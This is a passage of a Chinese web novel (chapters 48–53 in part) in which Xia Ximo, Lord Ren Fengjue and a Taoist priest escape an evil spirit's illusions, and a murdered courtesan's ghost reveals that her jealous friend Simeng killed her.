看到这幕,夏熙墨下意识遮住双眼,可下一秒,似有一股吸力,卷着她的身体,拉向了深渊…
眼前蓦地一黑,却有一道熟悉的声音在耳边响起。
“自今日起,表小姐就在偏院静养着吧,没什么事,不必在外走动。”
夏熙墨猛然睁眼眼睛,映入眼帘的却是一间熟悉的破房子。
四周陈设简陋,潮湿中还透着一股阴冷的霉味,显然已经很久不曾住过人了。
她立即感觉到“身体”被恐惧所笼罩,抑制不住开始颤抖着。
“放我出去!”
“我不要住在这里!”
“舅母,我会好好听话的,放我出去…”
一声声绝望的嘶吼,换来的却是丫鬟的嗤笑声。
“夏小姐还是省着点力气吧。”
“夫人交代过,小姐身子不好,需要静养。”
“恰好这间院子僻静,正好适合小姐养身子。”
门是反锁着,丫鬟不肯开,她又去看了看窗户。
可惜,那窗台实在太高,以她虚弱的病躯,根本不可能爬上去。
“身体”开始没有力气,又冷又饿,只能蜷缩在地上,环抱住自己。
好冷啊,外面是下雪了吗?
夏熙墨望着窗外,果然看见那半敞的窗户外,正飘着鹅毛大雪。
她身上的单衣太薄,下意识去床上,却只能找到一张破旧的薄毯。
可就算将毯子披在身上,依然还是冷。
冷得牙齿上下打颤,手脚逐渐也没了任何知觉。
“身体”如同裹了一层冰霜。
她听见心里有个声音在说——难道我要死在这里吗?
我不甘心,我不能死在这里!
我不能让穆汀汀代替我嫁入侯府!我要解除婚约!
我要让范氏**偿命!
心底有声音嘶喊,意识却开始模糊。
可就在这时,一道黑影出现在房中,并向她伸出了一只手。
“你心中所想这些,我都可以帮你。”
“只要你,将你的魂魄献给我。”
“我会赐给你力量,让你做任何想做的事情。”
黑影一边言语蛊惑,一边缓缓靠近。
夏熙墨望着那黑影,眼神似是茫然。
然而,就在那黑影逐渐将自己笼罩之中,她的眼神忽然变得阴冷可怕。
“你确定要我的魂魄?”
黑影愕然,下一秒,一股与自身不相容的浓郁煞气冲撞而来,仿佛要将它吞噬。
“九幽囚魂…”
“怎么会!”
“你为什么可以附在她的身上!”
夏熙墨冷冷一笑,随之站起身来,一道如浓墨渲染而出的黑色身影,附在她的身躯之上。
“这话你直接去问阴司地君。”
黑影自知不是敌手,忽然诡笑一声,只听见轰隆一声巨响,幻境随即坍塌。
夏熙墨脚下一晃,差点跪在地上。
再抬头望去时,发现自己还是身处在那间破庙内,四周已恢复正常。
但在她的身后,任风玦如同被什么定住,一动不动立在原地,显然也身处在幻境之中。
“任风玦!”
夏熙墨试图唤他,对方并没有任何反应。
想到自己刚刚身处幻境时,也没有听到过任风玦的声音,那大概幻境之中的人,是不受外界影响的。
所以,只有一个办法…
她正要引魂出窍,无忧立即阻止道:“你别乱来啊,一会儿要是回不去了怎么办?”
夏熙墨还是一副不在乎的样子:“那就从哪儿来,回哪儿去。”
说着,一缕阴魂从她的躯体脱离而去,随之化作一抹影子,钻进了任风玦的双眼。
无忧吓得大喊:“你会后悔的!”
——
“夏姑娘!”
任风玦刚要踏出殿门,脚下忽然一空,整个人便跌入了一片虚无。
他震惊之余,挥动双臂,徒然间,却结结实实摔在了地上。
睁开眼,只见天边是一弯冷月。
而身下却是一滩血迹。
“小侯
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爷…”
有虚弱的声音在唤他,他转头望去,却怵然一惊。
血泊正躺着一个人。
金翎军副将黎骏。
他痛苦地从喉间挤出两个字:“快走!”
任风玦却上前想将他从地上扶起来,“不行,我带你一起走。”
“不。”黎骏摇头,“我…活不了了。”
“你快乘小白龙回军营,告诉杨将军,此处有流寇。”
“为保此地百姓安危,请将军出手,将流寇拿下。”
“快!”
用尽最后的力气,黎骏说完最后一个字,便倒在地上没了气息。
任风玦被悲痛笼罩。
明明他昨日还在跟自己说,等回到京城,就可以喝到母亲亲手酿的酒了。
眼下,已经走到了回京的路上,归期有期,怎会如此?
四周开始有火光攒动,有人喊道:“这里还有一个,别让他跑了!”
任风玦不敢怠慢,从地上拾起黎骏的**,直接翻身上马,一夹马腹,骏马疾奔。
“在那边,快放箭!”
利刃破空,发出嗖嗖声响。
任风玦只得一边以**挡箭,一边朝金翎军驻地飞奔而去。
可对方终究人多势众,又一直穷追不舍。
一支箭矢中正他的左肩,整个身体不稳,险些就要摔下马,幸而另一手抓住了缰绳,足下借力伏紧马背,这才不至于摔下。
可紧接着,又有两箭射来,一支正中小腿,一支正中右臂。
挣扎片刻,他还是摔下了马,整个人滚入了密林之中。
巨大的痛楚袭来,身体已然如同散架,可头脑却异样的清醒。
他想要起身,却动弹不得,心里只有一个念头——不能死!
不能让黎骏和那十几名兄弟白白牺牲!
他一定要杀掉那些流寇,为他们报仇!
可就在这时,一道黑影漂浮在半空中,几乎遮住了半片月光。
“此地离金翎军营地尚有百里之遥,你没有多少时间了。”
“不如,让我来帮你,如何?”
任风玦头脑昏沉,问了一句:“你是谁?”
“不必问我是谁,我只想,借你魂魄一用…”
黑影说着,伸出一只手,慢慢向他笼罩而来。
这时,身后却传来一道声音。
“把你脏手给我拿开。”
第49章 邪灵
“把你的脏手给我拿开。”
一道清冷的女声划破了夜色。
任风玦与黑影几乎同时朝声音的方向望去。
只见雾气弥漫的山林中,一名红衣女子,赤足而来,她背着月光,长发飘散,看不清面容,周身弥漫的肃杀之气,仿佛有摧枯拉朽之势。
随着她步步逼近,黑影第一反应是——想逃。
谁料,那女子竟瞬间飘到它的跟前,伸手精准扼制住了它。
“让我看看,你究竟是个什么东西?”
她手上力道陡然加重,黑影在挣扎之中,不得不露出原形,却是三个和尚。
准确来讲,是三颗头颅共用着一具躯体。
此时,三张嘴几乎异口同声地喊道:“你快放开我!”
女子冷笑松手,心中杀念起,眉心眼尾隐隐露出一抹红记,似是入魔之征。
邪物依然飘浮在半空中,动弹不得,才知自己已成囊中物。
他们满脸惊恐,望着眼前女子,如同看到了什么可怕的恶鬼。
“我为什么动不了?”
“你对我做什么?”
“快点放开我!”
女子语气漠然:“是你请我到这幻境中来的,不然以这无用的凡人之躯,还真奈何不了你。”
“阴司与人间的规矩实在太多,你这幻境,正合我意。”
她说着,眸底闪过一丝血色,抬起双手,徐徐展开十根纤长的手指。
月下,那只手白得几乎没有一丝血色,月光一点就透。
可就是这样一双手,只需略施“骨术”,便能牵制“百骸九窍”。
一指定“手”,二指定“足”,三指定“躯”,四指定“颅”,五指定“心”。
十指定生死,任你是人是鬼,是妖是魔。
“三头和尚”瞪大眼睛望着眼前之人,四肢躯干逐渐僵住,浑身上下如同被罩了一张密不透风的网。
眼见这张网就要收紧,将他们一网打尽时,一道金光划破夜空,强行撕碎了幻境。
破庙中,任风玦猛然惊醒过来,脚下一软,被却人扶了一把。
他抬头望去,再次吃了一惊,“你?”
颜正初露出笑容,“我说过,有缘自会相见。”
“……”
一天之中见了三回,这话却说了两次。
任风玦不想搭理他,回头望去,只见夏熙墨倒在地上,当即又吃了一惊。
“夏姑娘。”
他走上前去,唤了一声无人应,一碰她的手,冷得吓人,才知事态严重。
“我不是已经破了幻境吗?怎么她还是没醒?”
颜正初跟着走过来,探了探夏熙墨的鼻息,突然眉头一皱:“好像已经死透了。”
任风玦脸色一沉,把他推开,俯身将地上的人抱了起来。
“人都**,你要把她带哪儿去?”
不顾身后之**喊。
他抱着夏熙墨一路疾奔出了破庙,第一反应是回京城找侯府的张医师。
心下想的是,或许“回阳九针”能够救她。
任风玦将人抱上马车,慌忙拿起车内毯子披在她身上,随后正要驱车。
一只手忽然伸过来,轻轻拉住了他的衣角。
“夏姑娘?”
她像是好不容易才恢复了一点气息。
任风玦一下子就不敢动了,“你再撑一会儿,我现在带你回侯府找张医师。”
“别…”
夏熙墨从喉咙里溢出声音,下一秒像是用尽了力气,说出了一句话:“你…能救。”
“我?”
任风玦浑身一震,还想再问,对方却又昏了过去。
他开始回想在锦绣衣庄山庄客房的情形。
她让他…抱她?
难道这样能救她?
任风玦虽觉得这事听起来荒唐,但眼下这种情形,也顾不得什么凡俗礼节,只要有一点希望,都不敢犹豫。
他二话不说,忙将她搂入怀中,又以自己的身躯,与她紧紧相贴。
这时,车帘子被人掀开,颜正初朝里张望了一眼,见他二人如此亲昵的样子,又尴尬地放下帘子。
任风玦也不想解释,连忙喊住他:“颜道长!”
“救人要紧,麻烦你来驱车,立即回仁宣侯府。”
颜正初哪知他竟如此执着,轻叹一口气,说道:“她魂魄兴许是留在那邪物的幻境里了,眼下就算是华佗再世…”
话没说完,却察觉到一道锐利的目光,像刀一样刮脸。
“赶车!”
“好好好…”
颜正初被他这么一喝,居然也有些震慑于他的威严,当即一挥鞭,调转了车头。<
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br>听到辘辘车声,任风玦才得一丝心安。
怀中,夏熙墨的身体依然冷得惊人。
那寒意就算隔着几层衣衫,都能透出来,让他竟有种怀中抱了一团雪的错觉。
他不敢有一丝一毫的松懈,脑海中只剩一个念头——就算是雪,也要将其“捂热”了。
狭窄的车厢内,须臾也似万年。
任风玦思绪混乱。
他开始想到刚刚所处的那个幻境。
那是他十五岁那年,跟随武将去往军营之中历练的经历,也是唯一一次,离死最近。
一切都真真切切发生过,除了那抹黑影与那红衣女子的出现。
现在回想起来,女子的面容陌生且模糊,但她说话时的语调却很耳熟。
似乎…与夏熙墨有些像。
但是,他又能确定,那个人并不是夏熙墨。
她到底是谁?
又为何会出现在幻境里?
思及此,他才想起问颜正初。
“颜道长为何会出现在寺庙?你跟踪我们?”
颜正初一边赶车,一边回头解释:“我当时察觉到那邪物就在附近,怕它忌惮于我,这才假装走开。”
“后面,我远远听到‘它’与你们说话,知道‘它’将你们引到这郊外必然有埋伏,便算准了时机赶来,将其收下。”
对此,任风玦似乎并没有多少意外,只问他:“你说的‘邪物’,就是红袖楼的思梦?”
“准确来说,她才是真正的‘魂器’。”
任风玦眉心一拧:“此话怎讲?那死去的如烟呢?”
“用来‘养魂’的,就像浇花的肥料一样,这么一说,你可理解?”
颜正初又继续道:“小侯爷应该听说过这寺庙的前身吧?因佛殿坍塌,三个小沙弥葬身于废墟之中。”
“他们死得突然,心有不甘,便成了地缚灵,却不知为何吸了许多煞气,又成了邪灵。”
“只要来此路过的人,入了他们的幻境,就有可能被勾走魂魄。”
“邪灵将魂魄寄于‘养魂珠’内,以活人戾气来养魂,久而久之,阴魂成了恶鬼,吃掉它们,就能将他们的煞气,占据己用。”
“而所谓的‘魂器’,是心甘情愿将魂魄连同躯体都献出去,可供邪灵驱使之人。”
第50章 缠斗
颜正初的一番话,也算是证实了任风玦心中的猜测。
在红袖楼中,思梦的出现,以及所说的一番话,实在太过刻意。
单听她的片面之词,很难断定真假。
所以在离开之前,他特意留下阿夏,单独调查思梦。
只是,因不信任她所说的话,而想要来这寺庙一探究竟,终究是太过于轻率。
任风玦低头看了一眼怀中的夏熙墨,内心滋味难以言喻。
他问:“所以,杀死如烟真正的凶手,是思梦?”
颜正初道:“必然与她脱不了关系…”
话音刚落,却闻一道阴冷的笑声,在车厢外盘旋。
同时又有三道声音,异口同声地说着——
“呵呵,无知且愚蠢的人类。”
“为一己之欲,连至亲好友都能出卖。”
“肮脏的东西就应该被我吃掉!”
任风玦听出这声音正是幻境之中“三头和尚”,他心下一凛,下意识护住怀中的人。
马儿发出嘶鸣,显然是受到刺激,竟挣开套绳弃车而去。
只听见颜正初“哎呀”了一声,喊道:“小侯爷,马跑了!”
“这邪灵道行不浅,已经快冲破封印了!”
“小侯爷,我留了一道镇魂符在车厢外,你千万别出来!”
留下一声交代后,车骤然停了下来,却不知颜正初情况如何。
“颜道长!”
任风玦听不到任何动静,心下也隐隐着急。
忽然,一阵疾风吹来,车帘车窗发出剧烈声响。
跟着,车厢仿佛被什么吸力牵扯着,开始疯狂向后退去。
任风玦又喊了一声颜正初的名字,一手紧紧抱住夏熙墨,一手死死扶住车壁。
眼见整个车厢不受控制,他深知不能再留,当即一脚踹开车门,抱起怀中人,就要冲出去。
然而,门外竟有无数只鬼手同时向里伸来,却因惧怕他身上的气息,而不敢靠近。
任风玦见状,面色一冷,轻叱一声:“退下!”
鬼手被震慑住,果然纷纷后退。
可就在这时,又是一阵阴风大作,如同发号施令一般。
众鬼手受其鼓舞,竟幻化作一只巨大的佛手,朝着任风玦欺压而来。
电光火石的一刹那,一道飞符从天而降,击散了鬼手。
原来,是立在树梢上与邪灵斗法的颜正初分神帮一下手,只是眼下战况正激烈,一时半会儿还脱不开身。
任风玦趁机抱着夏熙墨跳下车,没跑两步,又听见耳边风声呼啸。
他听见耳畔传来诡异笑声,不禁有些诧异。
转头看了一眼树上,发现与颜正初缠斗的邪灵只是一个“双头和尚”。
而下一秒,一颗“飞颅”迎面冲来。
任风玦当即旋身闪过,并以极快的速度飞身回踢,正中那颗“脑袋”。
“找死!”
“飞颅”也不料自己能被人给踢上一脚,多少有些恼羞成怒,一双邪恶而空洞的双瞳,开始向外喷涌出阴煞之气。
任风玦见黑气弥漫,如乌云一般,朝着他笼罩而来。
他知道必然难逃,心下立即做了一个决定,迅速将怀中人放在地上,并以身躯挡住冲撞而来的黑雾。
可突然之间,一抹白影自他体内分离而出,竟将黑雾挡在了是一丈开外。
躺在地上的夏熙墨,也在这时猛然睁开双眼。
她伸手将面前之人拉入怀中,在对方一脸惊愕的神情之下,又将他紧紧抱住,而藏在他身后的十根手指,依次收紧。
无人察觉,她的眼底闪过一抹红色光影。
邪灵四下逃窜,却不及遁形,便瞬间湮灭,化为虚无。
任风玦能感受到,与自己相拥的身体已逐渐恢复了暖意。
甚至,还能听见清晰的心跳声。
预料之中被黑雾穿透身体的痛苦,并没有发生,反而是怀中温软的躯体,让他浑身僵住。
隐隐慌了神。
“夏…姑娘。”
见四下恢复如常,夏熙墨才慢慢松开手。
再望向任风玦时,她却微愣了一下。
“你很热?”
“……”
任风玦连忙摇头,但身体陡然升起的热意,使得面颊与耳朵,都带着酥麻之感。
反应过来时,他心下竟有些窘意。
明明有许多话说,却一时不知该从何说起。
这时,眼角的余光里,扫见一道身影疾奔而来。
“小侯爷!”
颜正初看样子也很慌乱,在见
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到夏熙墨的那刻,神情又变得古怪了。
他像是百思不得其解。
“这…怎么会?”
就在刚刚,他见漫天煞气弥漫,还以为任风玦凶多吉少。
念及自己那位“英年早逝”的小师叔,他觉得无论如何都要救下任家这根独苗的性命。
可突然出现的那道清澈白光,竟像极了小师叔的剑光…
那一瞬间,他差点都要以为是小师叔“显灵”了!
颜正初略一分心,险些就要着了邪灵的道。
然而下一秒,没有任何征兆,那“双头和尚”便面露痛苦之色,说不见就不见了。
这一切,已经够他懵的了。
现在,他竟又看到了死而复生的夏熙墨。
这可比见鬼还要惊奇。
颜正初犹不甘心,掐指算了又算,却始终算不出这一着。
这人的命数…简直像是在阴司的“阴阳薄”里除了名。
夏熙墨却是像是无事发生一般,徐徐起身,眸光扫了一眼颜正初,却淡淡说道:“还以为你这道士有用。”
“你——什么意思?”
颜正初差点以为自己听错,一张脸瞬间涨得通红。
一旁的任风玦看在眼里,不免有些忍俊不禁。
夏熙墨冷睨着他,一点面子也不给:“能让鬼魂冲破封印跑出来,不是没用?”
“……”
颜正初愈发气恼,却偏偏无话可驳。
只能为自己找补:“确实是我小瞧了它,但也不能说我没用吧?”
“你知不知道,刚刚你俩身陷幻境之中,差点出不来,要不是我用符咒破了结界…”
夏熙墨却将他的话接了过去,“你不破结界,就没有后面的事。”
“……”
“气死我也!”颜正初可谓气得跳脚,“你个小姑娘懂什么?!”
任风玦却上前一步,挡在夏熙墨跟前,冲他拱手为礼:“方才若非颜道长显神通收服恶鬼,我二人还被困在险境之中,多谢道长。”
颜正初虽知恶鬼并非被自己收服,但听了这话,心里倒也舒坦。
他冷哼了一声,又故意露出一副高深莫测的神情:“不过我怀疑,真正盗走那十二颗‘养魂珠’的邪物,并不是这寺庙邪灵。”
第51章 斗嘴
任风玦面色一凝,却问:“颜道长的意思是,这背后还有更厉害的邪物?”
“只是猜测罢了。”
颜正初本还想与他仔细解释一番,却又不知想到什么,忽然变了脸。
“算了,这些事情你还是知道得越少越安全。”
任风玦也算摸清楚了他的脾性,知道他这人嘴严。
不想讲的话,无论怎么问,都不可能会讲。
他了然点头,像是一点兴趣都没有。
“我只需知晓‘如烟之死’的真相,其他的,道长也不必说给我听。”
颜正初不禁一愣,“你当真一点都不想知道?”
任风玦摆手:“不想。”
说话间,不远处的官道上传来马蹄声。
只见一人正扬鞭策马疾奔,转眼间便上了桥头。
此人正是任风玦府上的仆人之一阿夏。
他立于桥头之上,这才看到树林内的马车以及任小侯爷,当即又策马赶了过来。
“公子!”
林内,任风玦马与车已分离,且看车厢的破损程度,像是刚经历了一场恶战。
“这是怎么回事?可是遇到了什么贼人?”
见阿夏一脸惊诧,任大人倒是云淡风轻:“天子脚下,哪会有什么贼人?”
“怎么样?红袖楼那边有情况了吗?”
阿夏迟疑着点头:“已经查到了,那个思梦,果然有问题。”
任风玦似乎并无太多意外,只淡淡吩咐:“走吧,借你的马一用,回京路上细说。”
用阿夏的马重新套了勉强还能一用的马车,任风玦先请夏熙墨上车,又问了颜正初是否同行。
颜正初因还要继续找“养魂珠”的下落,便也答应上了他的车。
由于车厢本就狭窄,怕过于拥挤,任大人打算与阿夏直接坐在车前。
“公子,这…不好吧?”
好歹也是仁宣侯府家的小侯爷,怎能这般纡尊降贵?
阿夏觉得不合规矩,论身份地位,应该也是那道士出来让座才是啊。
“无妨。”
任风玦笑着往车厢内看了一眼,“你瞧车子都破成这样,还讲究些什么?”
“赶车吧,顺将红袖楼的情况与我展开说说。”
闻言,阿夏也不敢多说什么,确定了车轱辘无碍,便提起缰绳,直接催马而去。
车厢内,夏熙墨却不谦让,甚至理所当然坐在主座上,占据了大部分空间。
而颜正初只能束手束脚坐在一旁的小凳上。
说来,他虽算出了夏熙墨与小侯爷有姻缘在身,却并不知晓她的具体身份。
此时见她以一副“高高在上”的姿态端坐主位,心里不禁开始起了猜疑。
颜正初来京城不过三两日,所能掌握的消息不多。
但以任小侯爷在京中的名声,坊间自然少不了他的一些流言。
听说,圣上最宠爱的公主有意要招他为驸马。
难道?
也不对。
以这女子的命格来看,可不像是生在天家的人。
正悄悄推算着,一旁闭目养神的夏熙墨忽然启唇唤了他一声:“道士。”
好没礼貌。
颜正初皱眉,他有名有姓,连小侯爷见了都要尊一声“颜道长”,怎么到她嘴里就成了干巴巴的一声“道士”?
他将头偏向一侧,装作没听见。
夏熙墨这才看了他一眼,却自顾自说道:“我有一件事想请你帮忙。”
请?
那冷冰冰的语气,哪里像是在“请人”?
分明是想差遣人吧?
颜正初可算找着了机会摆架子,“请我可以,没有两三锭金子,可不行。”
夏熙墨倒也直接:“我没有钱。”
没钱?
颜正初故意虚眯着眼睛扫了她一眼。
哼,好歹是高门大户家的小姐,一身锦绣,还说没钱?
分明是不想给。
“不好意思,贫道行走江湖是要吃饭的,做不了亏本生意。”
这话说完,换来的却是沉默。
夏熙墨又闭上了眼睛,也不打算讨价还价。
这可让颜正初心里一阵好奇,又想,她能有什么事情要请我帮忙?
但过了好一会儿,对方都没再开口。
颜正初实在有些憋不住了:“你不妨先说说是什么事,本道长可以酌情少收点酬劳。”
夏熙墨眼睛也不抬:“不必了。”
“……”
颜正初恨得一阵牙痒痒,脱口而出:“你俩还真不愧是一对!”
这一句声量颇大,坐在车厢外的任风玦自然也
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就听在了耳里。
他掀起只剩一半的车帘子朝里看了一眼,见颜正初一副受了气的样子,却只觉得莫名好笑。
“颜道长这是怎么了?”
颜正初哼哼道:“没什么。”
任风玦微微一笑,却护起了短:“夏姑娘估计还没从刚刚的险境中缓过来,说话或许直了些,还请道长多多担待。”
“有吗?”颜正初阴阳怪气地回道:“我看夏姑娘绝非一般女子,只怕是泰山崩于前而色不变。”
“她又哪像是会怕鬼的样子?鬼见了她只怕——”
后面半句到了嘴边却突然咽了回去。
只因夏熙墨忽然抬眸冷睨着他。
“聒噪。”
“…”
马车进了京,并未立即前往红袖楼,而是来到一座阔气的大宅子跟前。
这时,已近黄昏。
停车后,颜正初半刻也不想多待,只想告辞。
任风玦却喊住了他,“颜道长,来即来了,不如一同去看看,兴许有你要找的东西。”
颜正初步子一顿,回头见宅门上刻着“王宅”二字,而宅内煞气弥漫。
显然有情况。
他却勉为其难地说道:“那便一同去看看吧。”
任风玦点头,见夏熙墨并未下车,便上前询问:“夏姑娘要先在此等候?”
里面的人只是淡应了一声。
对此,他见怪不怪,又说道:“那好,我与颜道长先去看看,姑娘在此歇息。”
而就在任风玦等人离去之后,一阵微弱的阴风拂起车帘,只见颜正初方才所坐的小凳上,赫然出现了一道阴魂。
“如何?可记起什么了?”
随着夏熙墨发问,阴魂才将低垂的头抬了起来,半晌后,才幽幽说道:“我想起来了,杀我的人,是我在红袖楼内最好的姐妹…”
“你可知,她为何要杀你?”
阴魂面露痛苦之色。
“她说,她嫉妒我…”
“嫉妒我背后有禹王撑腰。”
“嫉妒我将来有机会能进王府享受荣华富贵。”
一行血泪顺着面颊流淌而下,阴魂声音颤抖:“她不知道,我早已求过禹王殿下,让他赎我二人一同出来。”
“殿下已经答应了,就在她杀我的前一晚…”
第52章 真相
那日,在城郊外的寺庙内,忽然失踪的人,是思梦。
如烟在另一间侧殿内找到她时,她正跪在蒲团上,对着空荡荡的佛殿祈愿,嘴角处挂着诡异的笑容。
“思梦,你怎么在这里?”
寺庙早已荒废,神佛自然也就不在了。
看到那一幕,如烟只觉得诡异,便上前想要拉走她。
怎料思梦竟如同中了邪一般,如何也拉不动。
无奈之下,她只能唤来同行的杂役帮忙,将陷入魔怔状态的思梦,强行带出了寺庙。
回到红袖楼,思梦称身体不适,将自己关在房中,谁也不见。
管事妈妈芙姐得知后很不高兴,如烟怕芙姐怪罪,便拿了一些体己钱出来,还说了一通好话,才算抚平了芙姐的怒火。
如烟是打心底关心思梦的,又花钱请了郎中来替她看病开药。
药吃了两天,如烟也照顾了她两天。
见思梦日渐憔悴,不能伺客,如烟也起了恻隐之心。
一晚,禹王来看她,两人温存了一番后,她便向赵骍提起了思梦。
“我那妹妹也是可怜,虽生在官宦人家,却没过过几天好日子。”
“被抄家后,一家女眷被发卖,她因年纪小,又被倒卖了几回,最终还是来了这里。”
“她身体向来不好,这些日子又病倒了,我实在是担心她,若是将来我离开了,她一个人在这里该怎么办?”
她说着,跪在地上声泪俱下。
禹王殿下心疼她,便允诺她:“快别哭了,本王赎一个是赎,赎两个也是赎,你不必担心,她的事,包在本王身上。”
第二日,如烟送走了禹王,便高高兴兴来找思梦,本想将这个消息告诉她。
那是一个午后,阳光很好。
思梦房内却暗沉沉的,透不进一点光。
如烟进去时,思梦正在镜前梳妆。
她已病了几日,面容苍白如纸,就算敷上了脂粉,也看着十分憔悴。
“思梦,你怎么起来了?”
“大夫不是说了吗?让你躺在床上多休养。”
“窗户也要开一下,多通通气,才能好得快些。”
如烟说着,正要替她开窗,却听见思梦冷冷开口问道:“听说昨夜禹王殿下又来了?”
“姐姐还真是好福气,禹王殿下就算刚得了圣上赐婚庄家嫡女,心里也依然记挂着你。”
“我怎就没有这样的福气,生来就是罪臣之女,到处被人发卖,就算进了烟花之地,也是个没人要的末流角色。”
听她语气有异,如烟不由得一怔。
“思梦,好端端的怎么说这些?”
思梦冷笑一声,直接站起身来,慢慢踱到她跟前来,“姐姐,你来。”
跟着,又将她拉到镜前来,从妆奁内拿出一方锦盒,递到她跟前。
“姐姐好事将近,我想送你一样礼物。”
若是平常听到这样的话,如烟一定会由衷感到开心。
但此时此刻,她却只有惧意。
因为眼前的思梦,实在太过于反常。
“思梦…”
如烟并不知道发生了什么,颤声说道:“你不需要送我礼物,我…”
她本想将那个消息告诉对方…
可思梦却当着她的面,将锦盒打开,里面正放着一颗熠熠生辉的明珠。
“姐姐喜欢这个礼物吗?”
如烟再次愣住,那一刻,她以为对方是真心相待。
甚至…还有几分感动。
只是,那份情感尚未表达出口,便听见思梦附在她耳旁轻声说道:“我知道姐姐会喜欢的,既如此,我来成全姐姐!”
话语落下后,屋内便起了一阵阴风。
透过那昏黄的铜镜,如烟发现,思梦的身后竟漂浮着一团黑雾。
她吓得想要惊叫,却被思梦伸手捂住了嘴巴,“如烟,你知道吗?”
黑雾顺着她的手,开始往如烟的双眼里钻…
她的眼前开始模糊,而思梦的声音,却在耳边愈加清晰。
“我一直都嫉妒你,凭什么你背后有禹王撑腰?凭什么你有机会能入王府享福?”
“凭什么是你!而不是我!”
“凭什么啊!”
在思梦一声声近似癫狂的质问声中,如烟根本没有办法回话,黑雾钻入她的双眼,封住了她的魂识。
最终,将她彻底吞噬。
说到这里,阴魂也忍不住捂住双眼,开始瑟瑟发抖:“后面我便没了意识…”
“像是被困在一样东西里,出不来,也发不出声音,我甚至
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听不见任何声音,心里只有浓烈的恨意。”
“我恨思梦,恨红袖楼所有的人,甚至恨每一位恩客,包括禹王殿下…”
“那种恨意包裹着我,也折磨着我,我开始疯狂想要杀了他们!”
“可是,对于禹王殿下,我明明一直心存感激,又怎么会想要杀了他呢?”
夏熙墨出声道:“那是因为你被煞气所控制。”
阴魂茫然摇头,继续说道:“我也不知道后面过了多久,直到突然之间,面前出现一道裂缝,我便从里面钻了出来。”
“但我已经什么也不记得了,只能凭着感觉四处游荡着,好似又来到了一处像是曾经待过的地方。”
“后来…”
后来的事也不难猜。
禹王送给定安公主的那颗珠子里,封锁住的应该就是如烟的魂魄。
珠子碎后,魂魄便从里面跑了出来。
因吸了不少戾气,又受煞气影响,她记不得生前事,更不知自己是什么。
这才变成了无意识且无形态的阴魂…
“好了。”
夏熙墨冷冷打断了她,“既已知道杀你的凶手是谁,现在可以给你一个血债血偿的机会,你说说,要怎么做?”
阴魂默默想了一下,却低声道:“我在人间只有一桩未了之愿,那便是见禹王殿下最后一面。”
“只想见一个男人?”
夏熙墨皱眉,面上难得泛起波澜,“你不想报仇?”
阴魂微微摇头,“对于思梦,我好像已经恨够了,我也知道,她不会有什么好下场。”
“我与她多年姐妹,于情于义,问心无愧。”
“唯有禹王殿下,至今想起,还有一丝遗憾。”
夏熙墨冷冷看了她一眼:“痴情是世间最无用的东西。”
阴魂望着她,却面露笑意:“确实无用,可我这样的人,好似一生都在为‘情’所困。”
“愿来生也似姑娘这般,无羁无绊,自由坦荡。”
夏熙墨缄默片刻,忽然伸手,摊开掌心内的渡魂灯。
阴魂会意,立即朝她盈盈一拜,“多谢姑娘成全。”
收起渡魂灯,她掀起车帘,却向王宅方向看了一眼,忽然低头道:“在此之前,先去看看你仇人的下场。”
第53章 疯妇
“你们是什么人?”
面对突然造访的陌生面孔,王宅家丁显得十分谨慎,只将大门开出一条窄窄的缝隙。
“天色已晚,主人不便见客。”
说着,就要闭门谢客。
任风玦却伸手抵住大门,直截了当地说道:“告诉你家王员外,我有法子能解决他当下的难事。”
家丁一听,脸色顿时变了,也不敢多加犹豫,立即就去里面通报了。
没多时,宅门大开,一头白发的王员外竟杵着手杖亲自出门来。
到底是明眼人,在见到任风玦的那一刻,忙不迭就跪在了地上。
“任…任大人,怎么是您?”
任风玦虚抬了一下手臂,却煞有其事地说道:“听闻府上有怪事发生,本官请了一位道长,来助您老人家。”
此言一出,王员外的脸色也变得难看。
他先是打量了颜正初一眼,显然并不信任,轻叹道:“不瞒您说,老夫其实已请过几名江湖郎中来看过了,并无用处。”
一旁的颜正初立即掩唇轻咳一声,“员外怎可将贫道与那些‘江湖郎中’相比?”
“贫道可是云鹤山天机**座下首席大弟子…”
王员外压根没听过这地方,却又不能拂了小侯爷的面子,便稍微恭维了一下。
“幸会幸会。”
颜正初看出了对方的不信任,心下隐隐不悦,便道:“说太多无用,员外不如请我们进去一看究竟。”
“好,好,二位请进。”
引着二人去往客厅的路上,只见偌大的宅院,沉浸在暮色之中,安静中透着一丝诡异。
在客厅落座后,王员外让家丁奉了茶水,这才说道:“其实府上所发生的怪事,要从新妇崔氏身上说起…”
王家公子,上个月才刚刚娶亲,娶的也是一位富绅家的小姐,姓崔。
崔王两家在生意上一直有往来,倒也算是门当户对。
而崔家小姐,不仅相貌出挑,品性也温和。
按理说,新婚燕尔之时,感情应是极好。
可就在前几日,向来好脾气的崔小姐忽然无故发起了疯。
“老夫那儿媳崔氏,进门后这一个月来,向来表现得温文尔雅,也不知是什么缘故,突然就疯了,见人就是打骂。”
“就连老夫…也险些被她抓伤。”
“吓得犬子这些时日,都不敢在家中逗留片刻。”
听了这话,任风玦眉头不由得蹙起:“员外的意思是,令公子现下不在府上?”
王员外似乎觉得理所当然:“是,老夫也是怕崔氏她伤人…”
“可毕竟是自己新婚燕尔的妻子,发生了这样的事,反而躲起来,未免有失为人丈夫之责。”
王员外尴尬附和:“任大人教训得极是,但那崔氏…”
话未说完,却被颜正初打断了,“崔氏之所以突然变得如此,估摸与令郎脱不了关系。”
王员外面色微沉:“道长何以见得?”
颜正初故意不答,“员外可否让我见见这位崔家小姐?”
“这…”
王员外犹豫了一下,才说道:“倒也不是不可,只是崔氏万一疯起来伤了道长,老夫怕担不了责啊。”
“不必担心。”
颜正初说着,便直接站起身来,“若无不便,请王员外直接带路吧。”
王员外虽有顾虑,但见任风玦也站起身,就知道这人是非见不可了。
他将家丁招来交代了两句,一行人才移步往内宅而去。
只是,让颜正初与任风玦意想不到的是,王家竟将崔氏单独锁在一间偏房里,由四个下人轮流看守着。
这时,天已经完全黑了,守在门口的下人战战兢兢打开房门后,只见崔氏披头散发,竟被绑在了床上。
听见有人靠近,崔氏开始嘶声吼叫,单是听声音,都能感受到满满的怨愤与恨意。
任风玦诧然见到这一幕,眉头立即皱成一团,他压着怒火,向王员外冷冷质问:“这又是何意?”
王员外踌躇着不敢进门,只道:“实在是无奈之举,怕她伤人,这才绑起来…”
颜正初也沉着脸说道:“她受‘养魂珠’的煞气所影响,本就戾气重,你这样做,只会加深她的戾气,让她更快被‘吃掉’。”
说着,他虚空画了一道符,直接打向崔氏。
只见金光一闪,崔氏
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果然安静了起来。
“我已用符咒暂且压住了她的煞气,松绑吧。”
